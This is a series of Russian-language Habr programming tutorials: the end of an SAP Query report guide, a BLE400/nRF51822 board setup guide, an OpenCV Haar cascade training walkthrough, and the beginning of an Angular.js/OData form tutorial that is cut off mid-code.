Для критериев выбора «Номер контракта» каких то дополнительных настроек не требуется. Отчет будет ограничиваться по полю, указанному в настройках. Для параметра же внесем ограничения в формируемый отчет. Для этого перейдем на вкладку «Кодировки» и выберем фрагмент кодировки «5 Обработка записей».
и добавив код:
```
CHECK EKPO-BSTYP = 'K'.
IF Z_ONLY = 'X'.
CHECK BRTWR < DMBTR.
ENDIF.
```
Этим кодом мы ограничиваем вывод только тех записей, для которых BRTWR < DMBTR, т.е. стоимость позиции контракта меньше стоимости поступлений. Так же мы ограничиваем записи по типу «Контракт».
Обратите внимание, что на момент проверок данные поля должны быть рассчитаны. Именно по этой причине для данной проверки последовательный номер был указан равным 10 (любой номер, превышающий номера предыдущих полей).
Теперь сохраняем инфо-набор и генерируем его .
##### Создание группы пользователей
Группы пользователей обеспечивают контроль доступа к инфо-наборам и запросам.
Перейдите по меню «Среда» -> «Группы пользователей» с первого экрана ведения инфо-набора.
* Вводим имя группы пользователей «ZMM»
* Нажимаем кнопку «Создать»
* Определяем название «Отчеты ММ»
* Нажимаем кнопку «Сохранить». На этом этапе система может запросить ключ разработчика или запрос на перенос
* Нажимаем кнопку «Присвоить пользователей и инфо-наборы»
* В открывшемся окне вводим пользователей, для которых предназначен данный отчет
* Сохраняем внесенные изменения
* Нажимаем кнопку «Присвоить инфо-наборы»
* Прокручиваем список вниз, чтобы найти пользовательские инфо-наборы и отмечаем созданный ранее инфо-набор «Z\_SUPPLY\_TO\_CONTRACT»
* Сохраняем
##### Создание запроса
Запрос — это следующий шаг формирования отчета после создания инфо-набора и группы пользователей. На этом шаге определяется окончательный состав полей, которые войдут в отчет, порядок полей, внешний вид отчета, сортировка, итоги и прочее.
Запускаем транзакцию SQ01.
Проверяем, что работаем с группой пользователей, созданной ранее. (см. название группы в верхней части экрана). Если нет, нажимаем кнопку «Другая группа пользователей» (Shift + F7) и выбираем нужную группу.
Вводим имя «Z\_SUPPLY» и нажимаем кнопку «Создать». Система выведет список инфо-наборов, привязанных к данной группе пользователей. Выбираем наш инфо-набор и подтверждаем ввод.
Формат списка желательно сопоставить с существующим форматом печати, иначе отчет не может быть напечатан. Распространенные форматы: 65x132 и 65x80. Оставим формат по умолчанию: 0 строк (без ограничения) и 83 столбца.
Назовем отчет «Поступление к контрактам» и перейдем непосредственно к «рисованию» отчета, нажав кнопку «Основной список».
На экране основного списка в левой части расположены поля, которые можно добавить в отчет. В левой нижней части отображены свойства выделенного элемента, а основная часть — это графическое представление будущего отчета.
Раскроем список полей слева и отметим поля, которые должны попасть в отчет. Поля добавляются в том порядке, в котором мы их отмечаем. В дальнейшем порядок можно изменить, перетащив поле на нужное место в графическом блоке.
Внесем небольшие коррективы. Стоимостные поля отображаются с доп. полем «Валюта» значение которого нам не требуется. Чтобы убрать отображение валюты, выделим стоимостное поле и в левой нижней части экрана выделим пункт «Без поля валюты». Затем нажмем «Apply».
На этом наш отчет можно считать сформированным. Сохраняем отчет.
Тут же его можно протестировать, нажав кнопку «Тест».
##### Создание транзакции для отчета
Убедившись, что отчет полностью удовлетворяет нашим потребностям, следует создать для его запуска транзакцию.
1. Изначально генерируем программу. Для этого переходим на первый экран транзакции SQ01. В данной транзакции выделяем созданный нами запрос и выбираем в меню «Запрос» -> «Другие функции» -> «Сгенерировать программу».
2. После генерации программы получаем имя программы в меню «Запрос» -> «Другие функции» -> «Просмотреть имя отчета».
3. Формируем транзакцию через SE93.
1. Указываем имя транзакции
2. Нажимаем кнопку «Создать»
3. Указываем название транзакции
4. Отмечаем пункт «Программа и экран выбора»
5. Подтверждаем ввод
6. В открывшемся экране в поле «Программа» вводим ранее полученное имя отчета
7. Отмечаем GUI-способность
8. Сохраняем
Теперь можно формировать отчет, используя транзакцию.
###### P.S.
1. На некоторых экранах может отображаться в заголовке «Изменение» вместо «Создание». Это связано с тем, что отчет был создан ранее
2. Приведенный код вряд ли является наиболее оптимальным. Если Вы считаете, что Ваш вариант лучше, готов его рассмотреть и заменить
3. Существует несколько вариантов формирования данного отчета в SAP Query. Приведенный вариант не является оптимальным. Но он раскрывает возможности SAP Query
4. Я всегда рад конструктивной критике | https://habr.com/ru/post/218581/ | null | ru | null |
# Плата BLE400 и разработка под nRF51822
Для разработки под микроконтроллер nRF51822 существует несколько комплектов от Nordic Semiconductor, все они достаточно дороги зато обеспечивают возможность удобной работы без возни с программаторами. При этом у китайских производителей можно обнаружить платы облегчающие отладку контроллеров за смешные деньги. Статья посвящена работе с клоном платы от Waveshare которая продаётся под названием [BLE400](https://www.waveshare.com/wiki/BLE400).
Плата предназначена для использования совместно с модулями NRF51822, представляющие собой распаянный чип с антенной и парой кварцевых резонаторов. Стоимость комплекта из платы и модуля составляет около 20 долларов.
BLE400 содержит на борту USB порт и преобразователь USB-UART на базе чипа CP2102 с выведенными сигналами RX, TX, CTS и RTS. На уровне схемы она частично совместима с PCA10001, отладочной платой от Nordic, пара светодиодов и две кнопки подключены к тем же портам, любителям помигать светодиодом это немного упростит жизнь. К сожалению плата не умеет выполнять роль программатора nRF51822, хотя прошивка позволяющая работать с загрузчиком типа Arduino в сети есть. Бегло перечислю что же именно встроено в плату, частично это будет перевод документации [отсюда](https://www.waveshare.com/wiki/BLE400).
1. Посадочное место под модуль NRF51822, ключей нет, вставить неправильно модуль можно но тогда он закроет батарею и антенна будет наоборот
2. Дублирует пины модуля NRF51822, удобно для макетирования
3. Выведенный для удобства подключения интерфейс I2C, дублирует соответствующие сигналы с гребёнки SDA — P0.00 SCL — P0.01 SMBA — P0.02 и питание, можно использовать готовые модули от Waveshare
4. Интерфейс SPI, выведены сигналы MISO — P0.23 MOSI — P0.24 SCK — P0.25 NSS — P0.30
5. Питание, при подключении по USB можно воспользоваться питанием 5 вольт, от батарейки и программатора доступно будет только 3.3. Питание сделано на RT9193 с максимальным током 300mA, сам модуль потребляем максимум 2mA и готов отдать в нагрузку максимум 3 пина по 5 mA или 1 пин с током в 15mA. Итого 250 мА на периферию в запасе есть
6. Mini-USB гнездо для подключения питания или связи с ПК. 5 вольт порта напрямую подключено к гребёнке питания
7. Упрощенный SWD интерфейс для программирования. Выведено питание 3.3в, SWDIO и SWCLK
8. Продублированный UART, он же подключен к CP2102 и доступен для мониторинга на ПК через виртуальный COM порт. RX — P0.05 TX — P0.06 CTS — P0.07 RTS — P0.12
9. Батарейка типоразмера CR1225, пригодится для автономного тестирования
10. Набор светодиодов, подключены к P0.18 P0.19 P0.20 P0.21 P0.22. Светятся при подаче логической единицы. Здесь же можно посмотреть активность сигналов RX, TX и SPD
11. Две кнопки подключенные к портам P0.16 и P0.17. При нажатии даёт логический ноль
12. Кнопка сброса. Сбрасывает CP2102 и NRF51822 занулением сигнала SWDIO
13. Контролер виртуального COM порта на CP2102, DTR и DSR не распаяны
14. Джамперы для отключения интерфейса UART от CP2102
15. Джамперы для отключения светодиодов и кнопок
Изначально в модуль прошит код для работы с [nRF Toolbox for BLE](https://play.google.com/store/apps/details?id=no.nordicsemi.android.nrftoolbox&hl=en) от Nordic Semiconductor, для проверки его работоспособности этого достаточно. Подключаем плату к ПК, устанавливаем драйвера для CP2102 и подключаемся к плате при помощи терминала. Я воспользовался PuTTY, параметры порта: скорость 38400 дата бит 8, Стоповый бит один, управление потоком программное.
Подключаемся, в терминале вбиваем английский символ Y или y, получаем в ответ команду Start… — контроллер работает.
Теперь он доступен в списке BLE совместимых устройств на телефоне с именем Nordic\_UART. Установив приложение для [Android](https://play.google.com/store/apps/details?id=no.nordicsemi.android.nrftoolbox&hl=en) можно поиграться с передачей символов через виртуальный Bluetooth терминал и протестировать эмуляцию UART.
Переходим к программированию. Нам всё-таки понадобится программатор, оригинал от Segger будет немножко дорог, но благодаря автолюбителям на рынке достаточно клонов J-link ARM v8, стоят они около 15 долларов и для наших целей их более чем достаточно. Будем считать что драйвера на программатор (например J-Link Software v4.52b +) уже установлены. Подключаемся к плате стандартным JTAG кабелем от программатора или четырьмя проводами, достаточно соединить VTref, GND, SWDIO и SWCLK.
Для проверки подключения запустим JLink.exe и получим информацию о установленном чипе
```
SEGGER J-Link Commander V4.74b ('?' for help)
Compiled Aug 19 2013 23:26:57
DLL version V4.74b, compiled Aug 19 2013 23:26:44
Firmware: J-Link ARM V8 compiled Nov 28 2014 13:44:46
Hardware: V8.00
S/N: 20091135
Feature(s): RDI,FlashDL,FlashBP,JFlash,GDBFull
VTarget = 3.293V
Info: Found SWD-DP with ID 0x0BB11477
Info: FPUnit: 4 code (BP) slots and 0 literal slots
Info: Found Cortex-M0 r0p0, Little endian.
Found 1 JTAG device, Total IRLen = 4:
Cortex-M0 identified.
JTAG speed: 100 kHz
```
Нам понадобится следующее ПО
* [Keil MDK-ARM v4](https://www.keil.com/demo/eval/armv4.htm)
* [nRF51 SDK](https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v6.x.x/)
* [nRFgo Studio](https://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRFgo-Studio)
Для получения Lite версии Keil MDK-ARM необходима регистрация, остальное доступно для скачивания так. nRFgo Studio версии 1.21.2 у меня так и не запустилась под Windows 10, но младшая версия 1.15.1 работает. Последняя версия SDK с поддержкой платы pca10001 это версия 6, скачиваем по [ссылке](https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v6.x.x/). После установки SDK в папке куда установлена среда Keil появится каталог `\ARM\Device\Nordic\nrf51822` содержащий все необходимые файлы. Примеры рассчитаны на использование Keil версии 4, файл проекта имеет расширение uvproj в отличии от Keil 5 где расширение uvprojx. Собственно Keil 4 мы используем чтобы не запутаться в файлах конфигурации и совместимости примеров.
Программировать плату можно не только через консоль J-Link Commander, но и через nRFgo Studio, через неё же мы можем очистить чип или залить SoftDevice для работы с Bluetooth. Делается это из меню nRF51 Programming. В чипе уже залито ядро BLE стека. Очистить его можно через пункт меню Erase all.
Следующая задача — помигать светодиодами, заботливо распаянными на плате. Как уже упоминалось ранее, светодиоды и кнопки совместимы с платой pca10001 от Nordic, значит используем пример оттуда, открываем в папке с Keil4 `\ARM\Device\Nordic\nrf51822\Board\pca10001\blinky_example\arm\` файл проекта blinky.uvproj.
Собираем проект нажав F7 и прошиваем через меню Flash->Download. У меня по умолчанию не прошивалось из-за выбранной по умолчанию скорости заливки JTAG равной 2000 kHz. Исправить можно из меню Option for target -> Debug -> Setting. После замены на 100 kHz всё успешно заработало. Светодиоды LED0 и LED1 успешно перемигиваются, микроконтроллер работает. Если загрузить всё же не получается можно попробовать прошить HEX из из папки `_build blinky_arm.hex` с использованием nRFgo Studio или из консоли программатора J-Link. Но сначала стоит убедить что в настройках Keil выбран программатор J-Link.
Светодиоды это замечательно, но нам всё же нужен Bluetooth, пример для работы лежит в папке `\ARM\Device\Nordic\nrf51822\Board\pca10001\s110\ble_app_beacon`. Это реализация iBeacon, для нас он интересен работой с программным BLE стеком от Nordic. Пример рассчитан на версию стека s110, самую простую по возможностям, но для демонстрации работоспособности этого вполне достаточно. Ядро необходимо скачать отдельно и версий его достаточно много, при этом версия заголовков должна коррелировать с версией ядра. Скачать ядра можно по [ссылке](http://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF51822) в разделе SoftDevices.
Изначально вместе с SDK идут заголовочные файлы для версии 7.0.0, но у меня эта версия ядра не стартовала. Теоретически работать должна любая версия стека, доступны для скачивания версии v6, v7, v8. С примерами из SDK седьмая и восьмая версия стека у меня не заработали, остановился на 6.2.1.
Скачиваем [ядро](http://www.nordicsemi.com/eng/nordic/Products/nRF51822/S110-SD-v6/26379), распаковываем в удобную для вас папку, например, Cores `ARM\Device\Nordic\nrf51822\Cores\6.2.1`. Очищаем уже существующую папку `\ARM\Device\Nordic\nrf51822\Include\s110` и копируем в неё заголовочные файлы из папки include распакованного ядра.
SoftDevice необходимо прошить, для этого воспользуемся nRFgo Studio, выбираем из меню Device Manager пункт nRF51 Programming и убеждаемся что программатор не отвалился. В закладке Program SoftDevice выбираем файл с ядром `\ARM\Device\Nordic\nrf51822\Cores\6.2.1\s110_nrf51822_6.2.1_softdevice.hex`. Если файл правильного формата внизу будет указанна занимаемая ёмкость, для этой версии SoftDevice равная 80кб.
Жмём кнопку Program. Карта памяти устройства теперь имеет следующий вид:
Оперативной памяти стало меньше на 8кб, а первые 80 килобайт постоянной памяти заняло ядро. Меняем Target на цель со стеком s110, выбираем из меню nrf51822\_xxaa\_s110 (256К)
Для сборки примера с мигающим светодиодом при установленном SoftCore необходимо ввести коррективы в карту памяти, делается это из меню Options for Target – Target. Базовый адрес меняется на `CODE_R1_BASE = 0x00014000`, а свободная память стартует с адреса 0x20002000.
Так как при заливке скетча мы не должны затереть ядро, меняем настройки программатора. Делается это из меню Options for Target – Debug, кнопка Setting.
Собираем проект и заливаем его в контроллер, если ядро установилось корректно мы получим те же мигающие светодиоды. Пора заливать прошивку имитирующую iBeacon, открываем проект из папки `\ARM\Device\Nordic\nrf51822\Board\pca10001\s110\ble_app_beacon`. Меняем карту памяти по аналогии с мигающим светодиодом, собираем и заливаем в устройство.
Если все прошло успешно LED0 будет светиться, это индикатор что пакеты рассылаются. Устанавливаем на устройство Android или iOS приложение умеющее видеть iBeacon, я скачал
[Beacon Scanner](https://play.google.com/store/apps/details?id=com.bridou_n.beaconscanner). UUID устройства совпадает с константой APP\_BEACON\_UUID в исходном коде, значит это наш маячок.
В принципе этой информации достаточно для быстрого и весьма недорогого старта работы с BLE. В минусах это поддержка устаревшего Keil 4 и нестабильная работа программатора на частотах 100 kHz и выше. Если среда разработки выдает ошибку загрузки уменьшайте скорость доступа до 50 kHz или даже менее. Иногда программатор отваливается и вернуть его к жизни можно только запуском JLink.exe, возможно это связано с тем что он является клоном оригинала. | https://habr.com/ru/post/348684/ | null | ru | null |
# Обучение OpenCV каскада Хаара
На хабре уже есть несколько статей и про то, что такое каскад Хаара ([раз](http://habrahabr.ru/post/133826/), [два](http://habrahabr.ru/post/134857/http://habrahabr.ru/post/134857/), [три](http://habrahabr.ru/post/67937/)). Есть даже одна, где затронут процесс обучения, но в отношении описанной задачи. На тему обучения есть пара неплохих статей на английском ([первая](http://note.sonots.com/SciSoftware/haartraining.html), [вторая](http://opencvuser.blogspot.be/2011/08/creating-haar-cascade-classifier-aka.html), [третья](http://coding-robin.de/2013/07/22/train-your-own-opencv-haar-classifier.html)), но, на мой взгляд, они путанные: либо рассказывают очень мало, либо слишком много и обо всём — выделить нужную мысль сложно.
В этой статье я попробую показать, как обучить каскад с нуля за несколько часов, натренировав на поиск простого предмета в видеопотоке (примером будет очаровательная сова с фотографии). Все обучающие выборки и программы будут приложены.
Зачем всё это нужно? Каскад Хаара это один из простейших способов распознавания классов объектов с большой скоростью работы. К ним относятся лица и руки людей, номера автомобилей, пешеходы. Детектором Хаара просто находить животных в кадре (кстати, удивительно, что я не видел ещё ни одной автоматической кормушки для синиц на raspberry pi). К тому же, готовые реализации OpenCV есть под большинство существующих систем (даже для blackfin'a встречал). Всё это делает Хаара одним из самых удобных методов, позволяющих решать задачи видеообработки даже людям, которые никогда не работали с обработкой видео.
NB!!!
-----
Статья которую вы читаете — из 2014 года. С тех пор произошла революция в обработке изображений. Сегодня не следует использовать каскады Хаара для детектирования чего бы то ни было. Появилось масса нейронных сетей которые работают быстрее и лучше. На телефонах появилась аппаратная поддержка исполнения нейронных сетей. Масса простых и удобных фреймворков для тренировки и исполнения нейронных сетей.
Тот же OpenCV, о котором тут речь, умеет исполнять практически любую заранее обученную нейронную сеть (почитать об этом можно, например, в другой моей [статье](https://habr.com/ru/company/recognitor/blog/524980/)).
Что использовать? Я не знаю в каком году вы читаете эту статью. Мои ответы за прошлые года 4 разительно менялись. Например в начале 2019 года я записывал [такое](https://youtu.be/AR_RACmXsgo) видео. Но сейчас, в 2020, оно уже не очень актуально. Может быть лучше смотреть в сторону EfficientDet, Yolov4, и IterDet, и другие детекторы.
А [TensorFlow Detection Api](https://github.com/tensorflow/models/tree/master/research/object_detection) кардинально изменился с тех пор, в второй версии. Да и для новичков я бы советовал скорее PyTorch.
Короче, я бы советовал гуглить. Гуглите «neural network for detection», или «training detection network». И внимательно следите за годом!
**И ещё**. Если я правильно понимаю, то OpenCV в 2020 уже не имеет порядочный кусок из функций описанный в статье. Если вы все же хотите использовать написанное тут — используйте версию OpenCV тех лет.
А так, я часто пишу на своем канале ([vk](https://vk.com/cvml_team), [telegram](https://t.me/CVML_team)) про более новые методы/подходы.
##### Процесс
Весь процесс обучения выборки не требует навыков программирования. Для этого имеются уже готовые консольные программы, присутствующие в основной сборке OpenCV. Использование каскада требует минимального навыка программирования, достаточно изменить пару строк уже в готовом примере, которые есть под С, С++, С#, Java, Python и.т.д.
##### Что нам будет нужно?
* Фотографии предмета в реальной среде обитания. Чем более похожа выборка будет на то, что мы будем распознавать, тем лучше будут результаты. Если обучать распознаватель лица по фотографиям людей из студии, то на улице уровень распознавания будет ниже, чем в студии. На это влияют как тени, одежда, так и выражение лица.
* Выборка отрицательных фотографий, на которых нет объекта распознавания. Фотографии должны быть сделаны в той же среде где будет распознавание. Если выборка контрпримеров будет сделана по фотографиям на северном полюсе, а распознавать будете в тропических джунглях, то ничего не заработает.
* OpenCV. В этой статье использовался актуальный сейчас 2.4.7. Все программы примеры, расположенные тут будут работать с ним. Но если делаете проект с нуля — лучше скачайте новый OpenCV.
##### Где достать примеры и контрпримеры?
Есть несколько способов:
* Наснимать фотоаппаратом самому.
* Использовать готовую базу, если она есть в интернете. Для лиц, номеров, глаз, эмоций, людей и.т.д. таких баз много.
* Включить видеокамеру и сделать набор снимков из видеопотока.
* Использовать софтину, приложенную к OpenCV и сгенерировать новые выборки из имеющихся 2-3 изображений. Этот вариант подробно описан тут, я не буду на нём останавливаться. Работает он плохо, для серьёзных целей не годится.
Для вариантов 1-3 есть несколько программ упрощающих жизнь. В первую очередь это программы, позволяющие разметить фотографии. В статьях на английском используется самописная программа " [imageclipper](https://code.google.com/p/imageclipper/)". Мне она не понравилась, так как некорректно работает с большими фотографиями. Для себя я написал программу, с которой было удобно работать мне. Исходники и код приложены в разделе «Загрузки» этой статьи (программа PictureCropper).
##### Сколько нужно фотографий?
Для стабильно работающего детектора лиц это 3000-4000 положительных примеров и столько же отрицательных. Из 500 положительных и 1000 отрицательных я делал стабильный детектор номеров. Для детектора, который показан в этой статье, я взял 250 положительных и 500 негативных фотографий.
Чем больше и разнообразнее выборка, тем стабильнее работает и тем дольше обучается.
##### Приступаем к работе.
Для того, чтобы начать обучение, нам нужно иметь 2 папки с примерами. «Good» — папка с позитивными изображениями, «Bad» — с отрицательными. **ВАЖНО**! По крайней мере, в одной из прошлых версий программы обучения она плохо реагировала на наличие пробелов и точек в названии файлов. Русский не воспринимает никакая версия. Старайтесь называть изображения «0.bmp», «1. bmp » и.т.д. Форматы " bmp " и «jpg» работают стабильно, с остальными не проверял.
Для каждой папки нужно иметь текстовый файл, в котором описаны используемые изображения. Назовём их «Good.dat» и «Bad.dat». **ВАЖНО**! Этот файл должен лежать на том же уровне файловой системы, на котором лежит папка.
```
\Good
\1. bmp
\2. bmp
\.... bmp
\N. bmp
\Bad
\1. bmp
\2. bmp
\.... bmp
\N. bmp
Good.dat
Bad.dat
```
Файлы описания для отрицательных и положительных объектов имеют разную структуру. Для файла отрицательных примеров это просто список относительных путей к изображениям:
```
Bad\1. bmp
Bad\2. bmp
Bad\.... bmp
Bad\N. bmp
```
Для файлов с положительными примерами запись чуть хитрее. Кроме пути должно быть указанно положение рассматриваемого объекта и его размер. В принципе, каждое положительное изображение может содержать несколько примеров объектов. Но я так не советую. Лучше всего: один кадр — один объект.
```
Good \0.bmp 1 0 0 414 148
Good \1.bmp 1 0 0 568 164
Good \....bmp 1 0 0 440 144
Good \N.bmp 1 0 0 590 182
```
" Good \0.bmp " — адрес объекта относительно файла описания. «1» — количество положительных объектов на изображении. «0 0 414 148» — координаты прямоугольника на изображении в котором находится объект. Если объектов несколько, то запись приобретает вид: «Good \0.bmp 2 100 200 50 50 300 300 25 25».
Повторюсь, что удобнее всего, когда каждый объект представляет собой отдельный кадр, при этом координаты объекта равны размеру кадра.
Пример снимков положительной выборки:
    
Пример снимков отрицательной выборки:
    
##### Начинаем обучать!
Само обучение происходит в два этапа. Первый этап — все положительные изображения приводятся к общему формату. Делать это нужно расположенной в папке OpenCV программой. Возьмите ту, что соответствует вашей системе. У меня это " opencv\build\x64\vc10\bin ". Программа называется opencv\_createsamples.exe.
Для создания пачки приведённых положительных изображений запустим opencv\_createsamples через консоль:
```
opencv_createsamples.exe -info E:\BAZAS\Sova\Good.dat -vec samples.vec -w 20 -h 20
```
-info E:\BAZAS\Sova\Good.dat – файл описания положительных изображений. Указывается либо полный адрес, либо относительно программы opencv\_createsamples.exe.
-vec samples.vec – файл, в который будет сохранена приведённая к общему формату база положительных изображений. Адрес должен быть указан относительно программы opencv\_createsamples.exe (допустим полный путь в системе).
-w 20 -h 20 — размер шаблона. Должен приблизительно отражать пропорции искомого объекта. Например, для лиц или для совы наиболее подходящая пропорция высоты к ширине 1\*1. Для номеров это 3\*1. А для поиска карандаша логично поставить что-то вроде 8\*1. Размер шаблона должен быть достаточно маленьким. Идеально ставить его таким, чтобы человек сам мог отличить изображённый объект, но не больше того. Чем больше шаблон, тем дольше обучение.
Результатом работы программы является файл samples.vec, в котором будут лежать все ваши положительные изображения в формате, близком к bmp и с размером w\*h.
##### Создаём итоговый каскад
Для подсчёта итогового каскада используется программа «opencv\_traincascade.exe», лежащая в той же папке, что и opencv\_createsamples.exe. Работает долго. Даже очень долго. Обучение каскада на 500-1000 объектов займёт почти целый день. Пример обучался часа 2. При вызове:
```
opencv_traincascade.exe -data haarcascade -vec samples.vec -bg E:\BAZAS\Sova\Bad.dat -numStages 16 -minhitrate 0.999 -maxFalseAlarmRate 0.4 -numPos 200 -numNeg 500 -w 20 -h 20 -mode ALL -precalcValBufSize 1024 -precalcIdxBufSize 1024
```
-data haarcascade — адрес папки, куда класть полученные результаты. Отсчитывается от корневой папки программы. Нужно создать заранее, а то всё вылетит.
-vec samples.vec — адрес посчитанного в прошлом пункте файла с положительными примерами
-bg E:\BAZAS\Sova\Bad.dat — адрес файла-описания отрицательных примеров
-numStages 16 — количество уровней каскада, которые программа будет обучать. Чем больше уровней, тем точнее, но тем дольше. Нормальное их количество от 16 до 25.
-minhitrate 0.999 — коэффициент, определяющий качество обучения. По сути, это процент “правильных” обнаружений. Если установлено .999, то есть по исходной выборке будет не более, чем 1- 0.999 =0.1% пропусков целей. Чем выше коэффициент, тем выше уровень ложных тревог. В принципе, если выборка хорошая, можно ставить 0.99-0.999. Если плохая ( объектов мало, они смешиваются с фоном) — то следует опускать.
-maxFalseAlarmRate 0.4 — уровень ложной тревоги. AdaBoost — такой алгоритм, который может любой уровень ложной тревоги по выборке натянуть. Но лучше что-то разумное сделать. По умолчанию все ставят 0.5. Но, возможно, будет иметь смысл поиграться. В случае, если выборка очень хорошая, то уровень требуемой тревоги будет быстро достигнут, и обучение будет остановлено.
-numPos 200 — количество позитивных примеров. ВАЖНО! Казалось бы, тут должно стоять число файлов, которые у вас были. Но это не так (в большинстве руководств это не отмечено). Чем ниже коэффициент «minhitrate », тем больше ваших файлов будет считаться непригодными. В большинстве случаев достаточно поставить numPos 80% от имеющихся у вас положительных файлов. Лучше перестраховаться, чтобы через день работы программа не вылетела с ошибкой:)
-numNeg 500 — количество имеющихся у вас негативных примеров. Что есть — то и пишем.
-w 20 -h 20 — размер примитива из прошлого пункта.
-mode ALL — использовать или нет полный комплект Хаар-признаков. От этого зависит скорость работы и точность алгоритма. Но есть ситуации, когда полного комплекта признаков не нужно (например, если ваш объект не меняет ориентацию).
-precalcValBufSize 1024 -precalcIdxBufSize 1024 — выделяемая под процесс память. Вроде, в последней версии OpenCV, сколько я заявил, примерно столько программа и съела, но чуть более ранние версии ели где-то в 2 раза больше. Если во время обучения вы планируете пользоваться компьютером, то ставьте столько памяти, чтобы вам хватило на дальнейшую работу.
##### Известные баги
Нужно сказать, что обучение не страдает юзабельностью. Есть много багов. Но потихоньку OpenCV исправляется. В последнем OpenCV достаточно подробно объясняются большинство причин, по которым вылетает программа. Как правило, это нехватка положительных или отрицательных примеров, недостижимые характеристики, криво написанные адреса. Правда, был какой-то глюк с подвисанием обучения, когда я обучал выборку по сове. Cудя по всему, было слишком мало тестовых примеров (я тогда использовал 150 сов и 200 контр-примеров).
##### Результаты
Пример работы алгоритма на видео. Видно, что имеются пропуски. Но для выборки, в которой всего две сотни примеров, это неплохой результат.
##### Исходники
Как и обещал, пример проекта и несколько программок, облегчающих жизнь. Скачать целиком можно либо [тут](http://yadi.sk/d/Vhfl1tf0FQxvH) (rar-архив на яндекс-диске), либо [тут](https://github.com/ZlodeiBaal/BuboBubo) (github). Но на гитхабе максимальный объем файла 100 мегов, а сборка Emgu (OpenCV для C#), которую я использую, тянет два больших файла OpenCV-шных, которые не используются, но которые нельзя исключить из проекта. Оба этих файла лежат внутри папки Bin\x86, заархивированы в архиве «lagedll.rar», их нужно просто вытащить наружу.
Весь проект на VS2010, Windows 7. Все исполняемые программы лежат в папке " Bin".
**VideoCropper** — Программа для создания последовательности с видеокамеры. При старте нужно указать папку для сохранения и режим работы (создание положительной или отрицательной выборки). Мышкой выделяется область, которая будет сохранена, по пробелу происходит сохранение области.
**PictureCropper** — Программа для нарезки имеющейся базы фотографий. При старте указывается рабочая папка. Создает подпапку с нарезанными изображениями. Мышкой выделяется область которая должна быть сохранена. По «s» происходит сохранение. По «r» – сохранение и переход к следующему изображению. По пробелу — просто переход к следующему изображению.
**OwlDetector** — итоговая программа, ищущая сову
**Bad, Good** — папки с отрицательными и положительными примерами
**haarcascade** — Итоговые каскады, полученные при обучении
**Bad.dat, Good.dat** — файлы описания изображений
**samples.vec** — файл с набором положительных изображений, подготовленный для обучения | https://habr.com/ru/post/208092/ | null | ru | null |
# OData + Angular.js + Bootstrap + JavaScript Grid = приложение за 5 минут
Предположим в некотором проекте появилась необходимость добавить некоторую форму опроса пользователей на веб сайте (детальная форма) и форму для просмотра и редактирования списка пользователей для администратора системы (списковая форма).
Рассмотрим процесс создания этих форм с использованием OData, Angular.js, Bootstrap и JavaScript Grid. Все требования к такому приложению уже реализованы в этих инструментах, и нам практически не требуется ничего писать.
Перечислим основные требования к форме опроса (в скобках указаны инструменты, реализующие данное требование):
* Поля формы: “First Name”, “Last Name”, “Email”, “Comment”
* Форма должна сохранять данные в базе данных для последующего просмотра и анализа администратором системы (Angular.js)
* Форма должна проводить верификацию данных до отправки на сервер (Angular.js)
* Форма не должна перезагружать страницу при посылке данных на сервер (Angular.js)
* Форма должна модифицировать свой размер под различную ширину экрана или блока div, в который она будет вставлена на странице сайта (Bootstrap)
Основные требования к форме для работы со списком пользователей:
* Обеспечивать страничный механизм или виртуальный скроллинг в случае большого количества пользователей
* Обеспечивать сортировку по любым полям (колонкам грида)
* Обеспечивать возможность поиска данных
* Обеспечивать возможность добавления-редактирования-удаления данных
Любой JavaScript грид полностью обеспечивает все эти требования. Например стоит посмотреть на библиотеки [Kendo UI](http://www.telerik.com/kendo-ui), [DevExtreme Web](http://js.devexpress.com/webdevelopment/), [Syncfusion HTML5 controls](http://www.syncfusion.com/products/javascript), [Infragistics HTML5 controls](http://www.infragistics.com/products/jquery), [OpenUI5](http://openui5.org/), [Wijmo](http://wijmo.com/).
Основные запросы к серверу:
* Добавить новую запись
* Изменить запись
* Удалить запись
* Получить общее количество записей, удовлетворяющих некоторому условию
* Получить выборку из общего набора записей для показа на одной странице
* Получить весь набор записей
* Отсортировать записи по одному или нескольким полям
* Отфильтровать записи по некоторому набору условий
* Выполнение batch update операций – добавление, изменение и удаление сразу группы записей
Чтобы избежать необходимости реализации обработчиков всех перечисленных запросов, мы возьмем [databoom](http://databoom.space/), который является готовым OData сервером и полностью обеспечивает автоматическую обработку всех этих запросов.
Форма опроса
============
Форму опроса (детальную форму) мы создадим с помощью Bootstrap и Angular.js:
* Bootstrap существенно облегчает дизайн формы и обеспечивает возможность простого изменения размера, расположения элементов и т.д.
* Angular.js обеспечивает минимальность кода для верификации данных и посылки их на сервер. Связка Bootstrap + Angular.js позволяет создавать простые формы «на лету».
Мы рекомендуем всегда иметь под рукой несколько готовых шаблонов различных форм. Например:
* Простая детальная форма с полями различных типов
* Простая детальная форма с маленьким списком, например, детальная форма данных о человеке со списком контактов
* И т.д.
Очень хорошо держать шаблоны на каком-нибудь сайте типа JSFiddle, Bootply, CodePen, Plunker и т.д.
Используя простой copy-paste на основе подобного примера формы:
* Создаем поля формы, меняем их названия.
* Указываем что поля “First Name”, “Last Name” и “Email” являются обязательными
* Выставляем URL для сохранения данных с формы – в данном случае 'https://samples.databoom.space/api1/sandboxdb/collections/user'.
* Слегка настраиваем layout формы (в данном случае размещаем комментарий справа от других полей). И это все что нам нужно сделать.
```
Example - example-example32-production
.form-control {border-width:2px}
Simple Bootstrap + Angular.js form
==================================
First Name:
Last Name:
Email:
Comment:
angular.module('formExample', [])
.controller('ExampleController', ['$scope', '$http', function ($scope, $http) {
$scope.update = function (isvalid, user) {
if (!isvalid)
return;
$http.post('https://samples.databoom.space/api1/sandboxdb/collections/user', JSON.stringify(user))
.success(function (data, status, headers, config) { $scope.user = data.d.results; });
};
$scope.insert = function (isvalid, user) {
if (!isvalid)
return;
user.id = undefined;
$scope.update(isvalid, user);
}
}]);
```
Список пользователей
====================
Список пользователей (списковую форму) будем делать на основе примера грид контрола из библиотеки Kendo UI. Практически все программирование сведется к указанию правильных URL для операций модификации данных и к описанию колонок грида.
```
html {font-size: 12px;font-family: Arial, Helvetica, sans-serif;}
body {margin: 0;}
$(document).ready(function () {
$("#grid").kendoGrid({
dataSource: {
type: "odata",
transport: {
